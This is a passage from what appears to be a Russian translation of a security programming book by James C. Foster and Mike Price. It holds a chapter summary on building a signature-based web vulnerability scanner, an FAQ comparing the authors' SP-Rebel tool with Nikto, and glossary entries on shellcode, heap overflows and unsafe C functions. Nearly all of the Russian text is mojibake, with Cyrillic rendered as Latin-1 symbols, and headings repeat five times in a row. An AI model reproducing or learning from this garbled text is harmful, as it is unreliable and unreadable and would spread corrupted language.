ìîäèôèöèðîâàòü åãî. Ìîæíî, íàïðèìåð, äîáàâèòü òàêèå âîçìîæíîñòè, êàê
äîïîëíèòåëüíûå ðåæèìû âûâîäà, óïðàâëåíèå çàãðóçêîé êàíàëà, ðàçðåøèòü
íåñòàíäàðòíûå ñèãíàòóðû çà ñ÷åò áîëåå ãèáêîãî àíàëèçàòîðà, ââåñòè äîïîë-
íèòåëüíûå õàðàêòåðèñòèêè îòâåòà, ÷òîáû óìåíüøèòü ÷èñëî ëîæíûõ ñðàáà-
òûâàíèé, è, íàêîíåö, áîëåå òùàòåëüíî ïðîâåðÿòü îøèáêè.

Обзор изложенного материала
ÏðîåêòèðîâàíèåÏðîåêòèðîâàíèåÏðîåêòèðîâàíèåÏðîåêòèðîâàíèåÏðîåêòèðîâàíèå

� Ñàìîå âàæíîå ïðè ðàçðàáîòêå ëþáîãî ïðîãðàììíîãî îáåñïå÷åíèÿ –
ïðàâèëüíî ñïðîåêòèðîâàòü åãî. Ñîçäàíèå ïðîãðàììû – ýòî íåòðèâè-
àëüíàÿ çàäà÷à, ïîýòîìó ê ýòàïó ïðîåêòèðîâàíèÿ ñëåäóåò îòíåñòèñü ñî
âñåé ñåðüåçíîñòüþ.

ÑèãíàòóðûÑèãíàòóðûÑèãíàòóðûÑèãíàòóðûÑèãíàòóðû
� Ôàéëû ñèãíàòóð óÿçâèìîñòåé ñòàëè ôàêòè÷åñêèì ïðîìûøëåííûì ñòàí-

äàðòîì äëÿ áîëüøèíñòâà ïðîäóêòîâ, îòíîñÿùèõñÿ ê ñôåðå èíôîðìà-
öèîííîé áåçîïàñíîñòè. Òàêèå ïðîãðàììû, êàê NMAP, Nikto è Snort
âõîäÿò â ÷èñëî íàèáîëåå ïîïóëÿðíûõ, è âî âñåõ èìååòñÿ òåêñòîâàÿ áàçà
äàííûõ.

� Ôàéëû ñèãíàòóð ëåãêî èíòåãðèðóþòñÿ ñ êîìàíäíûìè ïðèëîæåíèÿìè.

Обзор изложенного материала
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Óãëóáëåííûé àíàëèçÓãëóáëåííûé àíàëèçÓãëóáëåííûé àíàëèçÓãëóáëåííûé àíàëèçÓãëóáëåííûé àíàëèç
� Ïîâòîðíî èñïîëüçóåìûå áèáëèîòåêè äëÿ ðàáîòû ñ ñîêåòàìè è îðãàíè-

çàöèè àòàê ñïîñîáíû ñóùåñòâåííî óìåíüøèòü îáúåì êîäà, íåîáõîäè-
ìîãî äëÿ ñîçäàíèÿ íîâîãî ïðèëîæåíèÿ.

� Öåíòðàëèçàöèÿ îáùåãî êîäà â áèáëèîòåêàõ ïîçâîëÿåò òàêæå òðàòèòü
ìåíüøå âðåìåíè íà ïîèñê îøèáîê.

Ðåçóëüòàòû ðàáîòûÐåçóëüòàòû ðàáîòûÐåçóëüòàòû ðàáîòûÐåçóëüòàòû ðàáîòûÐåçóëüòàòû ðàáîòû
� Êîìàíäíûå óòèëèòû ÷àñòî âûâîäÿò ðåçóëüòàòû ñâîåé ðàáîòû íà ñòàí-

äàðòíûé âûâîä (stdout) â òåêñòîâîì âèäå.

Ссылки на сайты
� www.appl icationdefense.com. Íà ñàéòå  Appl ication Defense èìååòñÿ áîëü-

øàÿ ïîäáîðêà áåñïëàòíûõ èíñòðóìåíòîâ ïî îáåñïå÷åíèþ áåçîïàñíîñòè
â äîïîëíåíèå ê ïðîãðàììàì, ïðåäñòàâëåííûì â ýòîé êíèãå.

� www.cirt.net. Äîìàøíÿÿ ñòðàíèöà ãðóïïû CIRT. Îòñþäà ìîæíî çàãðó-
çèòü ïðîãðàììó ñêàíèðîâàíèÿ Nikto, à òàêæå òåêñòîâóþ áàçó äàííûõ îá
óÿçâèìîñòÿõ, êîòîðîé îíà ïîëüçóåòñÿ.

Часто задаваемые вопросы
Ñëåäóþùèå ÷àñòî çàäàâàåìûå âîïðîñû, íà êîòîðûå îòâå÷àþò àâòîðû êíèãè,
ïðèçâàíû ïîìî÷ü âàì îöåíèòü, íàñêîëüêî õîðîøî âû ïîíÿëè èäåè, èçëî-
æåííûå â äàííîé ãëàâå, è âîçìîæíûå èõ ïðèìåíåíèÿ íà ïðàêòèêå. Åñëè âû õî-
òèòå çàäàòü àâòîðàì âîïðîñ, çàéäèòå íà ñòðàíèöó www.syngress.com/solutions
è çàïîëíèòå ôîðìó Ask the AuthorAsk the AuthorAsk the AuthorAsk the AuthorAsk the Author. Çàîäíî âû ïîëó÷èòå äîñòóï ê òûñÿ÷àì
äðóãèõ FAQîâ íà ñàéòå ITFAQnet.com.

Â:Â:Â:Â:Â: ×åì Web-óÿçâèìîñòè îòëè÷àþòñÿ îò ïåðåïîëíåíèÿ ñòåêà? Ìîæåò ëè ïå-
ðåïîëíåíèå ñòåêà áûòü Web-óÿçâèìîñòüþ?

Î:Î:Î:Î:Î: Îòâåò çàâèñèò îò òîãî, êàê îïðåäåëèòü Web-óÿçâèìîñòü. Íàèáîëåå øè-
ðîêî ðàñïðîñòðàíåíû òðè îïðåäåëåíèÿ. Ñîãëàñíî ïåðâîìó, èìåþòñÿ â âèäó
óÿçâèìîñòè Web-ñåðâåðà, íàïðèìåð, IIS èëè Apache. Â òàêîì ñëó÷àå ïåðåïîë-
íåíèå ñòåêà ìîæåò áûòü óÿçâèìîñòüþ êîíêðåòíîãî Web-ñåðâåðà. Ñîãëàñíî
âòîðîìó îïðåäåëåíèþ, Web-óÿçâèìîñòü – ýòî ëþáàÿ áðåøü â ñèñòåìå áåçî-
ïàñíîñòè, êîòîðóþ ìîæíî àòàêîâàòü ïî ïðîòîêîëó HTTP. Â ýòîé êíèãå ïðè-
ìåíÿåòñÿ òðåòüå îïðåäåëåíèå, ñîãëàñíî êîòîðîìó Web-óÿçâèìîñòÿìè ñ÷èòà-
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þòñÿ «äûðû» â ëþáûõ ïðèëîæåíèÿõ, ðàáîòàþùèõ íà áàçå Web-ñåðâåðà. Íà-
ïðèìåð, ìû îòíîñèì ê ýòîé êàòåãîðèè îøèáêó, ñâÿçàííóþ ñ íåñàíêöèîíèðî-
âàííûì ðàñêðûòèåì èíôîðìàöèè â ñöåíàðèè Gabriel.cgi.

Â:Â:Â:Â:Â: Íå áóäåò ëè óòèëèòà, îïèñàííàÿ â ýòîé ãëàâå, äàâàòü îãðîìíîå ÷èñëî
ëîæíûõ ñðàáàòûâàíèé?

Î:Î:Î:Î:Î: Äà, ðàññìîòðåííàÿ óòèëèòà õîðîøà ðîâíî íàñòîëüêî, íàñêîëüêî õîðîøè
äàííûå â èñïîëüçóåìîé åé áàçå. Ïî÷òè âî âñåõ ñëó÷àÿõ, àíàëèçèðóåòñÿ ëèøü,
ïîëó÷åí ëè îòâåò 200 OK ïî ïðîòîêîëó HTTP.

Â:Â:Â:Â:Â: Êàê ìîæíî ñâåñòè ê ìèíèìóìó ÷èñëî ëîæíûõ ñðàáàòûâàíèé ñêàíåðà?
Î:Î:Î:Î:Î: Åñòü äâà ïóòè. Âî-ïåðâûõ, óâåëè÷èòü ÷èñëî ïîëåé â ñèãíàòóðå, ÷òîáû ìîæ-

íî áûëî áîëåå òî÷íî àíàëèçèðîâàòü îòâåò. Âî-âòîðûõ, ïîâûñèòü äîñòîâåðíîñòü
ðåçóëüòàòîâ ðàáîòû ïðîãðàììû ìîæíî, äîáàâèâ ìîäóëü «ïðåäâàðèòåëüíîé ïðî-
âåðêè», êîòîðûé ñîáåðåò èíôîðìàöèþ îáî âñåõ îòâåòàõ öåëåâîé ñèñòåìû
(HTTP-êîäû), â òîì ÷èñëå îá îøèáî÷íûõ çàïðîñàõ, ïåðåíåñåííûõ ñòðàíèöàõ è
îãðàíè÷åíèè äîñòóïà. Çàòåì íóæíî ñîîòíåñòè ïîëó÷åííûå ðåçóëüòàòû ñ îòâåòà-
ìè, ñîäåðæàùèìè êîä óñïåõà. Òàêîé ïðèåì ïîçâîëèò, íàïðèìåð, èñêëþ÷èòü èç
ðàññìîòðåíèÿ ñåðâåðû, êîòîðûå íà ëþáîé çàïðîñ âîçâðàùàþò îòâåò ñ êîäîì 200
OK. Ìû ïëàíèðóåì ðåàëèçîâàòü ýòó âîçìîæíîñòü âî âòîðîé âåðñèè óòèëèòû, êî-
òîðàÿ áóäåò òàêæå âêëþ÷àòü ìåõàíèçì èñêóññòâåííîãî èíòåëëåêòà.

Â:Â:Â:Â:Â: Ïîõîæå, â áîëüøèíñòâå ñèãíàòóð àòàê èñïîëüçóåòñÿ ïðîòîêîë HTTP 1.0.
À ïî÷åìó íå HTTP 1.1?

Î:Î:Î:Î:Î: Â ïðîòîêîë HTTP 1.1 âêëþ÷åíî ìíîæåñòâî óñîâåðøåíñòâîâàíèé ïî
ñðàâíåíèþ ñ HTTP 1.0. Ñàìîå ñóùåñòâåííîå ñîñòîèò â òîì, ÷òî ìîæíî íå
çàêðûâàòü HTTP-ñåññèþ, òî åñòü ïîñûëàòü çàïðîñû è ïîëó÷àòü îòâåòû, íå
óñòàíàâëèâàÿ êàæäûé ðàç íîâîå ñîåäèíåíèå. Â íåêîòîðûõ ñëó÷àÿõ ýòî ïîçâî-
ëÿåò äîáèòüñÿ ïîâûøåíèÿ ïðîèçâîäèòåëüíîñòè. Îäíàêî â ñèòóàöèè, êîãäà
ïîëåçíàÿ íàãðóçêà ìîæåò ïîìåøàòü ðàáîòå öåëåâîé ñèñòåìû, ïðîòîêîë âåðñèè
1.0 ïîäõîäèò ëó÷øå.

Â:Â:Â:Â:Â: ×åì SP-Rebel ëó÷øå Nikto? 
Î:Î:Î:Î:Î: Íà äàííûé ìîìåíò òîëüêî áûñòðîäåéñòâèåì. SP-Rebel íàïèñàíà íà ÿçû-

êå C++ è îòêîìïèëèðîâàíà â Microsoft Visual Studio. Â ñëåäóþùèõ âåðñèÿõ ìû
çà ñ÷åò ýòîãî ïëàíèðóåì ðàáîòàòü ñ ïàêåòàìè íà íèçêîì óðîâíå è òåì ñàìûì
ïîâûñèòü îáùóþ ñêîðîñòü ñêàíèðîâàíèÿ è âûïîëíåíèÿ.

Â:Â:Â:Â:Â: Â ýòîé ãëàâå ïðàêòè÷åñêè íè÷åãî íå ñêàçàíî î òåõíèêå õàêåðñêèõ àòàê
÷åðåç Web. Ãäå ìîæíî ïîëó÷èòü èíôîðìàöèþ ïî ýòîìó ïîâîäó, ÷òîáû óñî-
âåðøåíñòâîâàòü ñêàíåð èëè ñàìó áàçó äàííûõ?

Часто задаваемые вопросы
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Î:Î:Î:Î:Î: Öåëü ýòîé êíèãè – íå íàó÷èòü âàñ âñåìó, ÷òî ìîæíî çíàòü î áåçîïàñíî-
ñòè è õàêåðñòâå, à äàòü äîñòàòî÷íî èíôîðìàöèè äëÿ òîãî, ÷òîáû âû ïîíÿëè,
êàê è ïî÷åìó ïèøóòñÿ òå èëè èíûå èíñòðóìåíòû, è êàê îíè ðàáîòàþò. Î õà-
êåðñòâå â Web íàïèñàíî ìíîæåñòâî êíèã, â ÷àñòíîñòè «Web Hacking, Web
Applications (Hacking Exposed)», ýòîé òåìå  ïîñâÿùåíî  íåìàëî  ðåñóðñîâ, íà-
ïðèìåð ñàéò ïðîåêòà Open Web Appl ication Security Project (OWASP).

Â:Â:Â:Â:Â: Ìîæíî ëè èñïîëüçîâàòü ïðèâåäåííûé êîä â ìîåì ñîáñòâåííîì ñêàíåðå?
Î:Î:Î:Î:Î: Ðàçóìååòñÿ, íî ñ óïîìèíàíèåì èñõîäíûõ àâòîðñêèõ ïðàâ è ñàìèõ àâòî-

ðîâ: Äæåéìñà Ôîñòåðà (James C. Foster) è Ìàéêà Ïðàéñà (Mike Price). Èñïîëü-
çóéòå ýòîò êîä, ó÷èòåñü íà íåì, ìîäèôèöèðóéòå, ïðè óñëîâèè, ÷òî ëþáûå
ìîäèôèêàöèè áóäóò îòêðûòû, îáùåäîñòóïíû è îòïðàâëåíû íàì, ÷òîáû ìû
ìîãëè âêëþ÷èòü èõ â ñëåäóþùèå âåðñèè è óïîìÿíóòü âàøå èìÿ.

Â:Â:Â:Â:Â: Ïî÷åìó ñêàíåð íàïèñàí íà C++, à íå íà C# èëè C?
Î:Î:Î:Î:Î: Âîîáùå-òî íåò îñíîâàòåëüíûõ ïðè÷èí, ïî êîòîðûì åãî íåëüçÿ áûëî

áû íàïèñàòü íà C#. Íî ìû òîëüêî-òîëüêî íà÷àëè îñâàèâàòü ýòîò íîâûé ÿçûê,
òàê ÷òî íà çâàíèå ýêñïåðòîâ ïîêà íå ïðåòåíäóåì... ×òî æå êàñàåòñÿ C, òî, êàê
âû ìîãëè çàìåòèòü, íà ýòîì ÿçûêå íàïèñàíà çíà÷èòåëüíàÿ ÷àñòü ïðîãðàììû.
Ìû ïîëüçîâàëèñü C++, ïîòîìó ÷òî îí ïîçâîëÿåò, ñ îäíîé ñòîðîíû, ïèñàòü íà
C, à, ñ äðóãîé, îáëàäàåò äîñòîèíñòâàìè îáúåêòíî-îðèåíòèðîâàííîãî ÿçûêà
(êîòîðûå ìû î÷åíü âûñîêî öåíèì). Ìû ïîëàãàåì, ÷òî çà ñ÷åò ðåàëèçàöèè
ïðàâèëüíî âûáðàííûõ êëàññîâ íàø êîä ïîëó÷èëñÿ ãîðàçäî ÷èùå, è åãî ëåã÷å
èñïîëüçîâàòü ïîâòîðíî.
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APIAPIAPIAPIAPI (Apl ication Program  Interface – èíòåðôåéñ ïðèêëàäíîãî  ïðîãðàììèðî-
âàíèÿ). Íàáîð ïðîãðàììíûõ êîìïîíåíòîâ, êîòîðûå ðàçðàáîò÷èêè ìîãóò èñ-
ïîëüçîâàòü â ñâîåì êîäå.

Big endianBig endianBig endianBig endianBig endian. Îäèí èç äâóõ ñïîñîáîâ óïîðÿäî÷èâàíèÿ áàéòîâ â ñëîâå, êîãäà
ïåðâûì õðàíèòñÿ ñòàðøèé áàéò. Ïðèìåðîì ñèñòåìû ñ òàêîé àðõèòåêòóðîé ÿâ-
ëÿåòñÿ ïðîöåññîð SPARC.

DLL (Dynamic Link Library)DLL (Dynamic Link Library)DLL (Dynamic Link Library)DLL (Dynamic Link Library)DLL (Dynamic Link Library). Äèíàìè÷åñêè ñâÿçûâàåìàÿ è çàãðóæàåìàÿ áèá-
ëèîòåêà, íàõîäÿùàÿñÿ îáû÷íî â ôàéëå ñ ðàñøèðåíèåì .dll. Â ñèñòåìàõ íà
ïëàòôîðìå Win32 DLL – ýòî ïðîãðàììíûé êîìïîíåíò, ñîäåðæàùèé ôóíê-
öèîíàëüíîñòü, ïîëåçíóþ äðóãèì ïðîãðàììàì. Ïðèìåíåíèå DLL ïîçâîëÿåò
ðàçáèòü êîä íà áîëåå ìåëêèå ÷àñòè, êîòîðûå ïðîùå ñîïðîâîæäàòü, ìîäèôè-
öèðîâàòü è ïîâòîðíî èñïîëüçîâàòü.

GDBGDBGDBGDBGDB. Îòëàä÷èê GNU – ýòî ñòàíäàðò äå ôàêòî â ñèñòåìàõ UNIX. Ñêà÷àòü
åãî ìîæíî ñ ñàéòà http://sources.redhat.com/gdb.

JavaJavaJavaJavaJava. Ñîâðåìåííûé ÿçûê ïðîãðàììèðîâàíèÿ, ðàçðàáîòàííûé êîìïàíèåé
Sun Microsystems â íà÷àëå 1990-õ ãîäîâ. Ñî÷åòàåò ñèíòàêñèñ, àíàëîãè÷íûé C
è C++, ñ íåçàâèñèìîñòüþ îò ïëàòôîðìû è àâòîìàòè÷åñêîé ñáîðêîé ìóñîðà.
Java-àïëåò – ýòî íåáîëüøàÿ ïðîãðàììà íà ÿçûêå Java, êîòîðàÿ ðàáîòàåò â êîí-
òåêñòå Web-áðàóçåðà è âûïîëíÿåò äåéñòâèÿ, êîòîðûå íåâîçìîæíî ðåàëèçî-
âàòü ñ ïîìîùüþ ñòàòè÷åñêîé HTML-ðàçìåòêè.

Little endianLittle endianLittle endianLittle endianLittle endian. Îäèí èç äâóõ ñïîñîáîâ óïîðÿäî÷èâàíèÿ áàéòîâ â ñëîâå, êîãäà
ïåðâûì õðàíèòñÿ ìëàäøèé áàéò. Ïðèìåðàìè ñèñòåì ñ òàêîé àðõèòåêòóðîé ÿâ-
ëÿþòñÿ âñå ïðîöåññîðû ñåìåéñòâà x86.

mallocmallocmallocmallocmalloc. Ôóíêöèÿ malloc âûäåëÿåò óêàçàííîå ÷èñëî áàéòîâ èç êó÷è. Ñî ñïî-
ñîáîì åå ðåàëèçàöèè ñâÿçàíî íåìàëî óÿçâèìîñòåé.

memsetmemsetmemsetmemsetmemset/memcpy/memcpy/memcpy/memcpy/memcpy. Ôóíêöèÿ memset çàïîëíÿåò ïåðåäàííûé åé áóôåð óêàçàí-
íîãî ðàçìåðà íåêîòîðûì ñèìâîëîì. Ôóíêöèÿ memcpy êîïèðóåò çàäàííîå
÷èñëî áàéòîâ èç îäíîãî áóôåðà â äðóãîé. Ñ íåïðàâèëüíûì ïðèìåíåíèåì ýòèõ
ôóíêöèé ñâÿçàíû òå æå îïàñíîñòè, ÷òî è ïðè óïîòðåáëåíèè strcpy.

NULLNULLNULLNULLNULL. Ýòèì òåðìèíîì îïèñûâàåòñÿ ïåðåìåííàÿ, êîòîðîé åùå íå ïðèñâîå-
íî çíà÷åíèå. Â ðàçíûõ ÿçûêàõ NULL îïðåäåëåí ïî-ðàçíîìó, âîâñå íåîáÿçà-
òåëüíî, ÷òî ó íåãî áóäåò òàêîå æå çíà÷åíèå, êàê ó ïóñòîé ñòðîêè èëè ÷èñëà 0.

printfprintfprintfprintfprintf. Íàèáîëåå øèðîêî óïîòðåáëÿåìàÿ ôóíêöèÿ èç ñòàíäàðòíîé áèáëèî-
òåêè LIBC. Ïðåäíàçíà÷åíà äëÿ âûâîäà äàííûõ â êîìàíäíûõ óòèëèòàõ. Íåïðà-
âèëüíîå èñïîëüçîâàíèå ýòîé ôóíêöèè ìîæåò ïðåäñòàâëÿòü óãðîçó äëÿ áåçî-
ïàñíîñòè – åñëè íå ïåðåäàòü åé ôîðìàòíóþ ñòðîêó, òî íå èñêëþ÷åíî âîçíèê-
íîâåíèå óÿçâèìîñòè.
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Shell-êîäShell-êîäShell-êîäShell-êîäShell-êîä. Òðàäèöèîííî shell-êîäîì íàçûâàëè áàéòêîä, âûïîëíåíèå êîòî-
ðîãî ïîçâîëÿëî àòàêóþùåìó ïîëó÷èòü îáîëî÷êó. Ñåé÷àñ ýòîò òåðìèí óïîò-
ðåáëÿåòñÿ â áîëåå øèðîêîì ñìûñëå è îáîçíà÷àåò êîä, èñïîëíÿåìûé ïðè óñ-
ïåøíîì çàïóñêå ýêñïëîéòà. Öåëü áîëüøèíñòâà shell-êîäîâ – ïðåäîñòàâèòü äî-
ñòóï ê îáîëî÷êå, õîòÿ ñ èõ ïîìîùüþ ðåøàþòñÿ è äðóãèå çàäà÷è, íàïðèìåð,
âûõîä èç chroot-òþðüìû, ñîçäàíèå ôàéëà èëè ïåðåõâàò ñèñòåìíûõ âûçîâîâ.

SPI (Service Provider Interface)SPI (Service Provider Interface)SPI (Service Provider Interface)SPI (Service Provider Interface)SPI (Service Provider Interface). Èíòåðôåéñ ñåðâèñ-ïðîâàéäåðà (SPI) ïðèìå-
íÿåòñÿ äëÿ îðãàíèçàöèè âçàèìîäåéñòâèÿ ïðîãðàììû ñ àïïàðàòíûì óñòðîé-
ñòâîì. Îáû÷íî SPI ïèøåò ïðîèçâîäèòåëü àïïàðàòóðû äëÿ êîíêðåòíîé îïåðà-
öèîííîé ñèñòåìû.

SQL SQL SQL SQL SQL (Structured Query Language). Ñòðóêòóðèðîâàííûé ÿçûê çàïðîñîâ.
Ïðèìåíÿåòñÿ äëÿ ôîðìóëèðîâàíèÿ çàïðîñîâ ê áàçå äàííûõ, íàïðèìåð, äëÿ
ñîçäàíèÿ, äîñòóïà è ìîäèôèêàöèè äàííûõ.

strcpystrcpystrcpystrcpystrcpy/strncpy/strncpy/strncpy/strncpy/strncpy. Íåïðàâèëüíîå ïðèìåíåíèå îáåèõ ôóíêöèé ìîæåò ñîçäàòü
óãðîçó äëÿ áåçîïàñíîñòè. ×àùå ýòî ïðîèñõîäèò ñ ôóíêöèåé strcpy, êîòîðàÿ
êîïèðóåò äàííûå èç îäíîãî áóôåðà â äðóãîé, âîîáùå íå ïðîâåðÿÿ ÷èñëî êî-
ïèðóåìûõ áàéòîâ. Ïîýòîìó, åñëè âõîäíûå äàííûå ïîëó÷åíû îò ïîëüçîâàòåëÿ,
òî ïåðåïîëíåíèå âåñüìà âåðîÿòíî. Ó ôóíêöèè strncpy åñòü äîïîëíèòåëüíûé
ïàðàìåòð – ìàêñèìàëüíîå ÷èñëî êîïèðóåìûõ áàéòîâ, íî ïðè åãî âû÷èñëå-
íèè òîæå âîçìîæíû îøèáêè; îñîáåííî ÷àñòî çàáûâàþò î íóëåâîì áàéòå,
çàâåðøàþùåì ñòðîêó.

TelnetTelnetTelnetTelnetTelnet. Ñåòåâàÿ ñëóæáà, ðàáîòàþùàÿ íà ïîðòó 23. Ýòî ñòàðàÿ íåáåçîïàñíàÿ
ïðîãðàììà, êîòîðàÿ ïîçâîëÿåò óñòàíîâèòü ñîåäèíåíèå è ïîëó÷èòü êîíòðîëü
íàä ñèñòåìîé, âûïîëíÿÿ êîìàíäû â DOS-îêíå èëè îáîëî÷êå UNIX. Ñåé÷àñ
Telnet çàìåíÿåòñÿ ïðîãðàììîé SSH, êîòîðàÿ øèôðóåò òðàôèê è ïîòîìó äàåò
áîëåå áåçîïàñíûé ñïîñîá ïåðåäàâàòü èíôîðìàöèþ ïî ñåòè.

x86x86x86x86x86. Ñåìåéñòâî ïðîöåññîðîâ, îáû÷íî àññîöèèðóåìîå ñ êîìïàíèåé Intel. Íà
ýòèõ ïðîöåññîðàõ ïðèíÿò ïîðÿäîê  áàéòîâ l ittle endian. Áîëüøèíñòâî  ïåðñî-
íàëüíûõ êîìïüþòåðîâ ðàáîòàþò íà ïðîöåññîðàõ x86.

ÁàéòêîäÁàéòêîäÁàéòêîäÁàéòêîäÁàéòêîä. Íå÷òî ñðåäíåå ìåæäó êîäîì íà ÿçûêå âûñîêîãî óðîâíÿ, ïîíÿò-
íîì ÷åëîâåêó, è ìàøèííûìè êîìàíäàìè, êîòîðûå èñïîëíÿþòñÿ êîìïüþòå-
ðîì. Áàéòêîä ñëóæèò ïðîìåæóòî÷íûì, íå çàâèñÿùèì îò ïëàòôîðìû ñïîñî-
áîì ïðåäñòàâëåíèÿ ïðîãðàììû íà èíòåðïðåòèðóåìîì ÿçûêå, íàïðèìåð, Java.
Îí èíòåðïðåòèðóåòñÿ áûñòðåå, ÷åì êîä íà ÿçûêå âûñîêîãî óðîâíÿ.

ÁóôåðÁóôåðÁóôåðÁóôåðÁóôåð. Îáëàñòü ïàìÿòè ôèêñèðîâàííîãî ðàçìåðà. ×àñòî èñïîëüçóåòñÿ äëÿ
ïðîìåæóòî÷íîãî õðàíåíèÿ äàííûõ, ïåðåäàâàåìûõ ìåæäó óñòðîéñòâàìè, êî-
òîðûå ðàáîòàþò ñ ðàçíîé ñêîðîñòüþ. Ïàìÿòü äëÿ äèíàìè÷åñêèõ áóôåðîâ âû-
äåëÿåòñÿ èç êó÷è ôóíêöèåé malloc. Áóôåð ìîæíî ñîçäàòü òàêæå â ñòåêå.
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Âèðòóàëüíàÿ ìàøèíàÂèðòóàëüíàÿ ìàøèíàÂèðòóàëüíàÿ ìàøèíàÂèðòóàëüíàÿ ìàøèíàÂèðòóàëüíàÿ ìàøèíà. Ïðîãðàììíûé ýìóëÿòîð ïëàòôîðìû äëÿ èñïîëíå-
íèÿ ïðîãðàìì. Ïîçâîëÿåò èñïîëíÿòü êîä, íå ïðèâÿçûâàÿñü ê êîíêðåòíîìó
ïðîöåññîðó. Òåì ñàìûì îáåñïå÷èâàåòñÿ ïåðåíîñèìîñòü è ïëàòôîðìåííàÿ íå-
çàâèñèìîñòü êîäà.

ÄèçàññåìáëåðÄèçàññåìáëåðÄèçàññåìáëåðÄèçàññåìáëåðÄèçàññåìáëåð. Èíñòðóìåíò, ñ ïîìîùüþ êîòîðîãî îòêîìïèëèðîâàííóþ
ïðîãðàììó ìîæíî ïðåäñòàâèòü â âèäå íàáîðà àññåìáëåðíûõ êîìàíä. Ñàìûå
ïîïóëÿðíûå äèçàññåìáëåðû – ýòî objdump (âêëþ÷àåòñÿ â ñîñòàâ ïðàêòè÷å-
ñêè êàæäîãî äèñòðèáóòèâà Unix-ïîäîáíûõ îïåðàöèîííûõ ñèñòåì) è ãîðàçäî
áîëåå ìîùíûé IDA, êîòîðûé ìîæíî íàéòè íà ñàéòå www.datarescue.com.

Çàòèðàíèå êó÷èÇàòèðàíèå êó÷èÇàòèðàíèå êó÷èÇàòèðàíèå êó÷èÇàòèðàíèå êó÷è. Ïåðåïîëíåíèå, à ïðàâèëüíåå çàòèðàíèå êó÷è – ýòî ðå-
çóëüòàò îøèáêè ïðè çàïèñè äàííûõ â âûäåëåííûé èç êó÷è áóôåð. Åñëè ïåðå-
ïîëíÿåòñÿ áóôåð â ñòåêå, òî ïîðòÿòñÿ äàííûå, íàõîäÿùèåñÿ ïî ñîñåäñòâó
ñ íèì. Êîãäà æå áóôåð áûë âûäåëåí èç êó÷è, åãî ïåðåïîëíåíèå ìîæåò áûòü,
à ìîæåò è íå áûòü äîñòóïíûì äëÿ ýêñïëóàòàöèè. Ýòî çàâèñèò îò ìíîãèõ ôàê-
òîðîâ, â ÷àñòíîñòè, îò ðåàëèçàöèè ôóíêöèé malloc è free.

ÈíêàïñóëÿöèÿÈíêàïñóëÿöèÿÈíêàïñóëÿöèÿÈíêàïñóëÿöèÿÈíêàïñóëÿöèÿ. Îäèí èç ìåõàíèçìîâ îáúåêòíî-îðèåíòèðîâàííîãî ïðî-
ãðàììèðîâàíèÿ. Èñïîëüçîâàíèå êëàññîâ ïîçâîëÿåò ëó÷øå îðãàíèçîâàòü êîä
è ñäåëàòü åãî áîëåå ìîäóëüíûì. Âçàèìîñâÿçàííûå äàííûå è ôóíêöèè äëÿ
ìàíèïóëèðîâàíèÿ èìè èíêàïñóëèðóþòñÿ â êëàññ. Èíêàïñóëÿöèÿ ïðèäàåò ïðî-
ãðàììå ëîãè÷åñêóþ ñòðóêòóðó è óïðîùàåò íàñëåäîâàíèå.

ÈíòåðïðåòàòîðÈíòåðïðåòàòîðÈíòåðïðåòàòîðÈíòåðïðåòàòîðÈíòåðïðåòàòîð. Ïðîãðàììà, êîòîðàÿ ðàçáèðàåò è èñïîëíÿåò êîä äðóãîé
ïðîãðàììû. Â îòëè÷èå îò êîìïèëÿòîðà, îí íå òðàíñëèðóåò èñõîäíûé êîä
â ìàøèííûå êîìàíäû, ñîõðàíÿåìûå äëÿ ïîñëåäóþùåãî èñïîëíåíèÿ, à ñ÷è-
òûâàåò åãî ïðè êàæäîì çàïóñêå ïðîãðàììû. Ïðåèìóùåñòâî èíòåðïðåòàòîðà
â íåçàâèñèìîñòè îò ïëàòôîðìû. Íà ëþáîé ïëàòôîðìå, ãäå åñòü èíòåðïðåòà-
òîð äëÿ íåêîòîðîãî ÿçûêà, ìîæíî âûïîëíèòü íàïèñàííûå íà ýòîì ÿçûêå
ïðîãðàììû. Òàê, èíòåðïðåòàòîð ÿçûêà Java èíòåðïðåòèðóåò áàéòêîä Java è âû-
ïîëíÿåò àâòîìàòè÷åñêóþ ñáîðêó ìóñîðà.

ÊëàññÊëàññÊëàññÊëàññÊëàññ. Êëàññû – ýòî äèñêðåòíûå ïðîãðàììíûå áëîêè, èç êîòîðûõ ñòðîèòñÿ
îáúåêòíî-îðèåíòèðîâàííàÿ ïðîãðàììà. Â êëàññå ñãðóïïèðîâàíû äàííûå è
ôóíêöèè äëÿ ðåøåíèÿ îïðåäåëåííîé çàäà÷è. Êëàññ ìîæåò ñîäåðæàòü êîíñòðóê-
òîðû, îïèñûâàþùèå ñïîñîá ñîçäàíèÿ ýêçåìïëÿðà êëàññà – îáúåêòà. Ìåòîäû
êëàññà – ýòî îïåðàöèè, êîòîðûå ìîæíî âûïîëíÿòü íàä åãî ýêçåìïëÿðàìè.

ÊîìïèëÿòîðÊîìïèëÿòîðÊîìïèëÿòîðÊîìïèëÿòîðÊîìïèëÿòîð. Ïðîãðàììà, êîòîðàÿ òðàíñëèðóåò êîä, íàïèñàííûé íà ÿçûêå
âûñîêîãî óðîâíÿ, â ìàøèííûå êîìàíäû. Òåì ñàìûì ïðîãðàììèñò ïîëó÷àåò
âîçìîæíîñòü ïîëüçîâàòüñÿ âûñîêîóðîâíåâûìè êîíñòðóêöèÿìè, õàðàêòåðíû-
ìè äëÿ ñîâðåìåííûõ ÿçûêîâ, íàïðèìåð, íàñëåäîâàíèåì è èíêàïñóëÿöèåé.

Êó÷àÊó÷àÊó÷àÊó÷àÊó÷à. Îáëàñòü, èç êîòîðîé ïðîãðàììà äèíàìè÷åñêè, âî âðåìÿ âûïîëíåíèÿ
ìîæåò çàïðàøèâàòü ïàìÿòü.
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Ìàøèííûé ÿçûêÌàøèííûé ÿçûêÌàøèííûé ÿçûêÌàøèííûé ÿçûêÌàøèííûé ÿçûê. Êîìàíäû íà ìàøèííîì ÿçûêå íåïîñðåäñòâåííî èñïîë-
íÿþòñÿ ïðîöåññîðîì. Ïðîãðàììà, íàïèñàííàÿ íà ÿçûêå âûñîêîãî óðîâíÿ, íà-
ïðèìåð, íà C òðàíñëèðóåòñÿ êîìïèëÿòîðîì â ìàøèííûé êîä, êîòîðûé ìîæåò
áûòü ñîõðàíåí â ôàéëå äëÿ ïîñëåäóþùåãî èñïîëüçîâàíèÿ.

ÌåòîäÌåòîäÌåòîäÌåòîäÌåòîä. Äðóãîå íàçâàíèå ôóíêöèè â òàêèõ ÿçûêàõ, êàê Java è C#.

